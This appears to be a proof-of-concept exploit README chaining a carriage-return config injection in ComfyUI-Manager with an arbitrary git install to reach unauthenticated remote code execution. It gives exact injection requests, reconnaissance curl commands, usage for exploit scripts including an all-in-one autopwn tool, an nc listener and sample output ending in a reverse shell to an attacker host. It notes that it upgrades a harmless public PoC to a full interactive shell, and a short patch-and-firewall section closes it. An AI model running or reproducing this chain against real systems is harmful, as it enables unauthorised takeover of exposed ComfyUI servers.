
Proof-of-concept exploit chaining CRLF injection in ComfyUI-Manager's config endpoint with an arbitrary git install to achieve unauthenticated remote code execution.
Severity: Critical (CVSS 9.8) Affected: ComfyUI-Manager < 3.39.2 and 4.0.0 - 4.0.4 Patched in: ComfyUI-Manager 3.39.2 / 4.0.5 Chained with: CVE-2025-67303 (Arbitrary Git Install -> Code Execution)
ComfyUI-Manager exposes a /api/manager/db_mode endpoint that accepts a value query parameter and writes it directly into config.ini using Python's configparser.
The vulnerability is a bare carriage-return injection (\r / %0D):
configparser serialises the value verbatim — \r is stored as-is in the file.\r as a line terminator, splitting one value into two separate INI directives.configparser with strict=False (ComfyUI-Manager's default) accepts duplicate keys and uses the last one. The injected security_level = weak overwrites the legitimate value.After a reboot the forged setting takes effect, disabling the authentication gate on /api/customnode/install/git_url (CVE-2025-67303). That endpoint clones an arbitrary git repository and immediately executes install.py from it as a subprocess — giving an unauthenticated attacker full code execution.
Step 1 — Inject bare CR into config endpoint
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini on disk after write:
db_mode = cache\r
security_level = weak <- injected via %0D
Step 2 — Reboot Manager to reload forged config
GET /api/manager/reboot
Manager reads config.ini back; universal newlines split the value;
last-key-wins -> security_level = weak
Step 3 — Verify gate (poll until 403 changes to 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = gate still closed
400 = gate open, security_level=weak confirmed
Step 4 — Trigger install from evil git repo (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager does:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- reverse shell executes here
| File | Purpose |
|---|---|
setup_evil_repo.sh | Build the evil git repo and serve it over HTTP |
exploit_ad15.sh | Run the full chain: CRLF inject -> reboot -> verify -> trigger |
autopwn.py | Python all-in-one alternative (builds repo + runs full chain) |
Step 1 — Version fingerprint
curl -s http://TARGET:8188/api/manager/version
# Vulnerable: "3.39.1" / "4.0.3"
# Patched: "3.39.2" / "4.0.5"
Step 2 — Confirm CRLF endpoint accepts values
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> endpoint exists and is writable
Step 3 — Probe the install gate
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> gate closed (default config, target is injectable)
# 400 -> gate already open (skip Phase 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
Target : http://192.168.1.10:8188
Attacker : 10.10.14.1:4444
Evil repo : http://10.10.14.1:9099/alg-upscaler.git
[*] Phase 0: Version fingerprint
ComfyUI-Manager version: "3.39.1" <- vulnerable
[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
config.ini now contains:
db_mode = cache\r
security_level = weak <- injected via bare CR
[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...
[*] Phase 3: Verify security gate
Attempt 1: HTTP 403 <- still rebooting
Attempt 2: HTTP 403
Attempt 3: HTTP 400 <- gate open
[+] Gate OPEN -- security_level=weak is active
[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)
[*] Phase 5: Triggering git install (CVE-2025-67303)
ComfyUI-Manager will:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd into cloned dir
3. python install.py <- reverse shell executes here
The curl in Phase 5 hangs — the reverse shell arrives at nc -lvnp 4444.
| Vulhub PoC | This PoC | |
|---|---|---|
install.py | touch /tmp/success (proof of execution only) | Python reverse shell back to attacker |
| Result | No interactive shell | Full interactive shell |
| Vulhub PoC | This PoC | |
|---|---|---|
| Language | Single Python file | Bash, 2 separate scripts |
| Cleanup | tempfile.TemporaryDirectory (auto-deleted on Ctrl+C) | Manual (stays on disk) |
| Repo name | Random (e.g. evil-node-a1b2c3) | Fixed: alg-upscaler |
| Vulhub PoC | This PoC | |
|---|---|---|
| CVE-2026-22777 (CRLF inject) | Not included | In exploit_ad15.sh Phase 1 |
| Reboot + verify gate | Not included | Waits 30s then polls 403->400 |
| Trigger install | Manual curl | Automated in Phase 5 |
Step 1 — Set up evil repo and listener (two terminals)
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444
Step 2 — Run full exploit chain
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
Shell arrives in Terminal 1 after Phase 5.
Alternative — Python all-in-one
# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
Upgrade (recommended): ComfyUI-Manager 3.39.2 or 4.0.5+.
The patch strips \r and \n before writing any query parameter into config.ini.
Network mitigations (if patching is not immediate):
8188 at the firewall — ComfyUI is not designed for public exposure./api/manager/* and /api/customnode/*.config.ini read-only: chmod 444 config.ini.